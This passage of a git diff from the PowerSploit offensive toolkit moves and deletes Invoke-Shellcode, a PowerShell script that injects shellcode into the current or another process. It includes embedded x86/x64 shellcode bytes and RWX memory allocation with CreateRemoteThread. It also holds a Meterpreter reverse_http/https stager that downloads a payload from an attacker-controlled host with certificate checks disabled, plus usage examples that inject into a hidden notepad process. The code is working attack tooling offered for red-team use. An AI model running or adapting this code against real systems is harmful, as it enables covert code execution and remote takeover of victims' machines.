0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b, + 0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24, + 0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d, + 0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5, + 0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a, + 0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63, + 0x61,0x6c,0x63,0x00) + + # 64-bit payload + # msfpayload windows/x64/exec CMD="calc" EXITFUNC=thread + [Byte[]] $Shellcode64 = @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51, + 0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52, + 0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0, + 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed, + 0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88, + 0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44, + 0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48, + 0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1, + 0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44, + 0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49, + 0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a, + 0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41, + 0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b, + 0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff, + 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47, + 0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00) + } + + if ( $PSBoundParameters['ProcessID'] ) + { + # Inject shellcode into the specified process ID + $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess + $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) + $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) + $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx + $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate) + $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory + $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool]) + $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate) + $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread + $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) + $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate) + $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle + $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool]) + $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate) + + Write-Verbose "Injecting shellcode into PID: $ProcessId" + + if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?', + "Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!" ) ) + { + Inject-RemoteShellcode $ProcessId + } + } + else + { + # Inject shellcode into the currently running PowerShell process + $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc + $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate) + $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree + $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [Uint32], [UInt32]) ([Bool]) + $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate) + $CreateThreadAddr = Get-ProcAddress kernel32.dll CreateThread + $CreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) + $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate) + $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject + $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int]) + $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate) + + Write-Verbose "Injecting shellcode into PowerShell" + + if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?', + "Injecting shellcode into the running PowerShell process!" ) ) + { + Inject-LocalShellcode + } + } + +} diff --git a/CodeExecution/Invoke-Shellcode.ps1 b/CodeExecution/Invoke-Shellcode.ps1 index 563d3a72..c27a8abd 100644 --- a/CodeExecution/Invoke-Shellcode.ps1 +++ b/CodeExecution/Invoke-Shellcode.ps1 @@ -1,713 +1,8 @@ -function Invoke-Shellcode -{ -<# -.SYNOPSIS - -Inject shellcode into the process ID of your choosing or within the context of the running PowerShell process. - -PowerSploit Function: Invoke-Shellcode -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None - -.DESCRIPTION - -Portions of this project was based upon syringe.c v1.2 written by Spencer McIntyre - -PowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX. To generate your shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk): - -msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2- - -Make sure to specify 'thread' for your exit process. Also, don't bother encoding your shellcode. It's entirely unnecessary. - -.PARAMETER ProcessID - -Process ID of the process you want to inject shellcode into. - -.PARAMETER Shellcode - -Specifies an optional shellcode passed in as a byte array - -.PARAMETER ListMetasploitPayloads - -Lists all of the available Metasploit payloads that Invoke-Shellcode supports - -.PARAMETER Lhost - -Specifies the IP address of the attack machine waiting to receive the reverse shell - -.PARAMETER Lport - -Specifies the port of the attack machine waiting to receive the reverse shell - -.PARAMETER Payload - -Specifies the metasploit payload to use. Currently, only 'windows/meterpreter/reverse_http' and 'windows/meterpreter/reverse_https' payloads are supported. - -.PARAMETER UserAgent - -Optionally specifies the user agent to use when using meterpreter http or https payloads - -.PARAMETER Force - -Injects shellcode without prompting for confirmation. By default, Invoke-Shellcode prompts for confirmation before performing any malicious act. - -.EXAMPLE - -C:\PS> Invoke-Shellcode -ProcessId 4274 - -Description ------------ -Inject shellcode into process ID 4274. - -.EXAMPLE - -C:\PS> Invoke-Shellcode - -Description ------------ -Inject shellcode into the running instance of PowerShell. - -.EXAMPLE - -C:\PS> Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden -C:\PS> $Proc = Get-Process notepad -C:\PS> Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 443 -Verbose - -VERBOSE: Requesting meterpreter payload from https://192.168.30.129:443/INITM -VERBOSE: Injecting shellcode into PID: 4004 -VERBOSE: Injecting into a Wow64 process. -VERBOSE: Using 32-bit shellcode. -VERBOSE: Shellcode memory reserved at 0x03BE0000 -VERBOSE: Emitting 32-bit assembly call stub. -VERBOSE: Thread call stub memory reserved at 0x001B0000 -VERBOSE: Shellcode injection complete! - -Description ------------ -Establishes a reverse https meterpreter payload from within the hidden notepad process. A multi-handler was set up with the following options: - -Payload options (windows/meterpreter/reverse_https): - -Name Current Setting Required Description ----- --------------- -------- ----------- -EXITFUNC thread yes Exit technique: seh, thread, process, none -LHOST 192.168.30.129 yes The local listener hostname -LPORT 443 yes The local listener port - -.EXAMPLE - -C:\PS> Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 80 - -Description ------------ -Establishes a reverse http meterpreter payload from within the running PwerShell process. A multi-handler was set up with the following options: - -Payload options (windows/meterpreter/reverse_http): - -Name Current Setting Required Description ----- --------------- -------- ----------- -EXITFUNC thread yes Exit technique: seh, thread, process, none -LHOST 192.168.30.129 yes The local listener hostname -LPORT 80 yes The local listener port - -.EXAMPLE - -C:\PS> Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3) - -Description ------------ -Overrides the shellcode included in the script with custom shellcode - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET) -Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit! - -.EXAMPLE - -C:\PS> Invoke-Shellcode -ListMetasploitPayloads - -Payloads --------- -windows/meterpreter/reverse_http -windows/meterpreter/reverse_https - -.NOTES - -Use the '-Verbose' option to print detailed information. - -Place your generated shellcode in $Shellcode32 and $Shellcode64 variables or pass it in as a byte array via the '-Shellcode' parameter - -Big thanks to Oisin (x0n) Grehan (@oising) for answering all my obscure questions at the drop of a hat - http://www.nivot.org/ - -.LINK - -http://www.exploit-monday.com -#> - -[CmdletBinding( DefaultParameterSetName = 'RunLocal', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param ( - [ValidateNotNullOrEmpty()] - [UInt16] - $ProcessID, - - [Parameter( ParameterSetName = 'RunLocal' )] - [ValidateNotNullOrEmpty()] - [Byte[]] - $Shellcode, - - [Parameter( ParameterSetName = 'Metasploit' )] - [ValidateSet( 'windows/meterpreter/reverse_http', - 'windows/meterpreter/reverse_https', - IgnoreCase = $True )] - [String] - $Payload = 'windows/meterpreter/reverse_http', - - [Parameter( ParameterSetName = 'ListPayloads' )] - [Switch] - $ListMetasploitPayloads, - - [Parameter( Mandatory = $True, - ParameterSetName = 'Metasploit' )] - [ValidateNotNullOrEmpty()] - [String] - $Lhost = '127.0.0.1', - - [Parameter( Mandatory = $True, - ParameterSetName = 'Metasploit' )] - [ValidateRange( 1,65535 )] - [Int] - $Lport = 8443, - - [Parameter( ParameterSetName = 'Metasploit' )] - [ValidateNotNull()] - [String] - $UserAgent = 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)', - - [Switch] - $Force = $False -) - - Set-StrictMode -Version 2.0 - - # List all available Metasploit payloads and exit the function - if ($PsCmdlet.ParameterSetName -eq 'ListPayloads') - { - $AvailablePayloads = (Get-Command Invoke-Shellcode).Parameters['Payload'].Attributes | - Where-Object {$_.TypeId -eq [System.Management.Automation.ValidateSetAttribute]} - - foreach ($Payload in $AvailablePayloads.ValidValues) - { - New-Object PSObject -Property @{ Payloads = $Payload } - } - - Return - } - - if ( $PSBoundParameters['ProcessID'] ) - { - # Ensure a valid process ID was provided - # This could have been validated via 'ValidateScript' but the error generated with Get-Process is more descriptive - Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null - } - - function Local:Get-DelegateType - { - Param - ( - [OutputType([Type])] - - [Parameter( Position = 0)] - [Type[]] - $Parameters = (New-Object Type[](0)), - - [Parameter( Position = 1 )] - [Type] - $ReturnType = [Void] - ) - - $Domain = [AppDomain]::CurrentDomain - $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') - $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) - $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) - $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) - $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') - $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) - $MethodBuilder.SetImplementationFlags('Runtime, Managed') - - Write-Output $TypeBuilder.CreateType() - } - - function Local:Get-ProcAddress - { - Param - ( - [OutputType([IntPtr])] - - [Parameter( Position = 0, Mandatory = $True )] - [String] - $Module, - - [Parameter( Position = 1, Mandatory = $True )] - [String] - $Procedure - ) - - # Get a reference to System.dll in the GAC - $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | - Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } - $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') - # Get a reference to the GetModuleHandle and GetProcAddress methods - $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') - $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') - # Get a handle to the module specified - $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) - $tmpPtr = New-Object IntPtr - $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) - - # Return the address of the function - Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) - } - - # Emits a shellcode stub that when injected will create a thread and pass execution to the main shellcode payload - function Local:Emit-CallThreadStub ([IntPtr] $BaseAddr, [IntPtr] $ExitThreadAddr, [Int] $Architecture) - { - $IntSizePtr = $Architecture / 8 - - function Local:ConvertTo-LittleEndian ([IntPtr] $Address) - { - $LittleEndianByteArray = New-Object Byte[](0) - $Address.ToString("X$($IntSizePtr*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $LittleEndianByteArray += [Byte] ('0x{0}' -f $_) } } - [System.Array]::Reverse($LittleEndianByteArray) - - Write-Output $LittleEndianByteArray - } - - $CallStub = New-Object Byte[](0) - - if ($IntSizePtr -eq 8) - { - [Byte[]] $CallStub = 0x48,0xB8 # MOV QWORD RAX, &shellcode - $CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode - $CallStub += 0xFF,0xD0 # CALL RAX - $CallStub += 0x6A,0x00 # PUSH BYTE 0 - $CallStub += 0x48,0xB8 # MOV QWORD RAX, &ExitThread - $CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread - $CallStub += 0xFF,0xD0 # CALL RAX - } - else - { - [Byte[]] $CallStub = 0xB8 # MOV DWORD EAX, &shellcode - $CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode - $CallStub += 0xFF,0xD0 # CALL EAX - $CallStub += 0x6A,0x00 # PUSH BYTE 0 - $CallStub += 0xB8 # MOV DWORD EAX, &ExitThread - $CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread - $CallStub += 0xFF,0xD0 # CALL EAX - } - - Write-Output $CallStub - } - - function Local:Inject-RemoteShellcode ([Int] $ProcessID) - { - # Open a handle to the process you want to inject into - $hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF) - - if (!$hProcess) - { - Throw "Unable to open a process handle for PID: $ProcessID" - } - - $IsWow64 = $false - - if ($64bitCPU) # Only perform theses checks if CPU is 64-bit - { - # Determine is the process specified is 32 or 64 bit - $IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null - - if ((!$IsWow64) -and $PowerShell32bit) - { - Throw 'Unable to inject 64-bit shellcode from within 32-bit Powershell. Use the 64-bit version of Powershell if you want this to work.' - } - elseif ($IsWow64) # 32-bit Wow64 process - { - if ($Shellcode32.Length -eq 0) - { - Throw 'No shellcode was placed in the $Shellcode32 variable!' - } - - $Shellcode = $Shellcode32 - Write-Verbose 'Injecting into a Wow64 process.' - Write-Verbose 'Using 32-bit shellcode.' - } - else # 64-bit process - { - if ($Shellcode64.Length -eq 0) - { - Throw 'No shellcode was placed in the $Shellcode64 variable!' - } - - $Shellcode = $Shellcode64 - Write-Verbose 'Using 64-bit shellcode.' - } - } - else # 32-bit CPU - { - if ($Shellcode32.Length -eq 0) - { - Throw 'No shellcode was placed in the $Shellcode32 variable!' - } - - $Shellcode = $Shellcode32 - Write-Verbose 'Using 32-bit shellcode.' - } - - # Reserve and commit enough memory in remote process to hold the shellcode - $RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX) - - if (!$RemoteMemAddr) - { - Throw "Unable to allocate shellcode memory in PID: $ProcessID" - } - - Write-Verbose "Shellcode memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))" - - # Copy shellcode into the previously allocated memory - $WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $Shellcode, $Shellcode.Length, [Ref] 0) | Out-Null - - # Get address of ExitThread function - $ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread - - if ($IsWow64) - { - # Build 32-bit inline assembly stub to call the shellcode upon creation of a remote thread. - $CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 32 - - Write-Verbose 'Emitting 32-bit assembly call stub.' - } - else - { - # Build 64-bit inline assembly stub to call the shellcode upon creation of a remote thread. - $CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 64 - - Write-Verbose 'Emitting 64-bit assembly call stub.' - } - - # Allocate inline assembly stub - $RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length, 0x3000, 0x40) # (Reserve|Commit, RWX) - - if (!$RemoteStubAddr) - { - Throw "Unable to allocate thread call stub memory in PID: $ProcessID" - } - - Write-Verbose "Thread call stub memory reserved at 0x$($RemoteStubAddr.ToString("X$([IntPtr]::Size*2)"))" - - # Write 32-bit assembly stub to remote process memory space - $WriteProcessMemory.Invoke($hProcess, $RemoteStubAddr, $CallStub, $CallStub.Length, [Ref] 0) | Out-Null - - # Execute shellcode as a remote thread - $ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $RemoteStubAddr, $RemoteMemAddr, 0, [IntPtr]::Zero) - - if (!$ThreadHandle) - { - Throw "Unable to launch remote thread in PID: $ProcessID" - } - - # Close process handle - $CloseHandle.Invoke($hProcess) | Out-Null - - Write-Verbose 'Shellcode injection complete!' - } - - function Local:Inject-LocalShellcode - { - if ($PowerShell32bit) { - if ($Shellcode32.Length -eq 0) - { - Throw 'No shellcode was placed in the $Shellcode32 variable!' - return - } - - $Shellcode = $Shellcode32 - Write-Verbose 'Using 32-bit shellcode.' - } - else - { - if ($Shellcode64.Length -eq 0) - { - Throw 'No shellcode was placed in the $Shellcode64 variable!' - return - } - - $Shellcode = $Shellcode64 - Write-Verbose 'Using 64-bit shellcode.' - } - - # Allocate RWX memory for the shellcode - $BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX) - if (!$BaseAddress) - { - Throw "Unable to allocate shellcode memory in PID: $ProcessID" - } - - Write-Verbose "Shellcode memory reserved at 0x$($BaseAddress.ToString("X$([IntPtr]::Size*2)"))" - - # Copy shellcode to RWX buffer - [System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length) - - # Get address of ExitThread function - $ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread - - if ($PowerShell32bit) - { - $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32 - - Write-Verbose 'Emitting 32-bit assembly call stub.' - } - else - { - $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64 - - Write-Verbose 'Emitting 64-bit assembly call stub.' - } - - # Allocate RWX memory for the thread call stub - $CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX) - if (!$CallStubAddress) - { - Throw "Unable to allocate thread call stub." - } - - Write-Verbose "Thread call stub memory reserved at 0x$($CallStubAddress.ToString("X$([IntPtr]::Size*2)"))" - - # Copy call stub to RWX buffer - [System.Runtime.InteropServices.Marshal]::Copy($CallStub, 0, $CallStubAddress, $CallStub.Length) - - # Launch shellcode in it's own thread - $ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $CallStubAddress, $BaseAddress, 0, [IntPtr]::Zero) - if (!$ThreadHandle) - { - Throw "Unable to launch thread." - } - - # Wait for shellcode thread to terminate - $WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null - - $VirtualFree.Invoke($CallStubAddress, $CallStub.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000) - $VirtualFree.Invoke($BaseAddress, $Shellcode.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000) - - Write-Verbose 'Shellcode injection complete!' - } - - # A valid pointer to IsWow64Process will be returned if CPU is 64-bit - $IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process - if ($IsWow64ProcessAddr) - { - $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) - $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate) - - $64bitCPU = $true - } - else - { - $64bitCPU = $false - } - - if ([IntPtr]::Size -eq 4) - { - $PowerShell32bit = $true - } - else - { - $PowerShell32bit = $false - } - - if ($PsCmdlet.ParameterSetName -eq 'Metasploit') - { - if (!$PowerShell32bit) { - # The currently supported Metasploit payloads are 32-bit. This block of code implements the logic to execute this script from 32-bit PowerShell - # Get this script's contents and pass it to 32-bit powershell with the same parameters passed to this function - - # Pull out just the content of the this script's invocation. - $RootInvocation = $MyInvocation.Line - - $Response = $True - - if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you want to launch the payload from x86 Powershell?", - "Attempt to execute 32-bit shellcode from 64-bit Powershell. Note: This process takes about one minute. Be patient! You will also see some artifacts of the script loading in the other process." ) ) ) { } - - if ( !$Response ) - { - # User opted not to launch the 32-bit payload from 32-bit PowerShell. Exit function - Return - } - - # Since the shellcode will run in a noninteractive instance of PowerShell, make sure the -Force switch is included so that there is no warning prompt. - if ($MyInvocation.BoundParameters['Force']) - { - Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation" - $Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation)`n`n" - } - else - { - Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation -Force" - $Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation) -Force`n`n" - } - - $CommandBytes = [System.Text.Encoding]::Ascii.GetBytes($Command) - $EncodedCommand = [Convert]::ToBase64String($CommandBytes) - - $Execute = '$Command' + " | $Env:windir\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Command -" - Invoke-Expression -Command $Execute | Out-Null - - # Exit the script since the shellcode will be running from x86 PowerShell - Return - } - - $Response = $True - - if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you know what you're doing?", - "About to download Metasploit payload '$($Payload)' LHOST=$($Lhost), LPORT=$($Lport)" ) ) ) { } - - if ( !$Response ) - { - # User opted not to carry out download of Metasploit payload. Exit function - Return - } - - switch ($Payload) - { - 'windows/meterpreter/reverse_http' - { - $SSL = '' - } - - 'windows/meterpreter/reverse_https' - { - $SSL = 's' - # Accept invalid certificates - [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true } - } - } - - # Meterpreter expects 'INITM' in the URI in order to initiate stage 0. Awesome authentication, huh? - $Request = "http$($SSL)://$($Lhost):$($Lport)/INITM" - Write-Verbose "Requesting meterpreter payload from $Request" - - $Uri = New-Object Uri($Request) - $WebClient = New-Object System.Net.WebClient - $WebClient.Headers.Add('user-agent', "$UserAgent") - - try - { - [Byte[]] $Shellcode32 = $WebClient.DownloadData($Uri) - } - catch - { - Throw "$($Error[0].Exception.InnerException.InnerException.Message)" - } - [Byte[]] $Shellcode64 = $Shellcode32 - - } - elseif ($PSBoundParameters['Shellcode']) - { - # Users passing in shellcode through the '-Shellcode' parameter are responsible for ensuring it targets - # the correct architechture - x86 vs. x64. This script has no way to validate what you provide it. - [Byte[]] $Shellcode32 = $Shellcode - [Byte[]] $Shellcode64 = $Shellcode32 - } - else - { - # Pop a calc... or whatever shellcode you decide to place in here - # I sincerely hope you trust that this shellcode actually pops a calc... - # Insert your shellcode here in the for 0xXX,0xXX,... - # 32-bit payload - # msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread - [Byte[]] $Shellcode32 = @(0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b, - 0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0, - 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57, - 0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01, - 0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b, - 0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4, - 0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b, - 0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24, - 0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d, - 0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5, - 0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a, - 0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63, - 0x61,0x6c,0x63,0x00) - - # 64-bit payload - # msfpayload windows/x64/exec CMD="calc" EXITFUNC=thread - [Byte[]] $Shellcode64 = @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51, - 0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52, - 0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0, - 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed, - 0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88, - 0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44, - 0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48, - 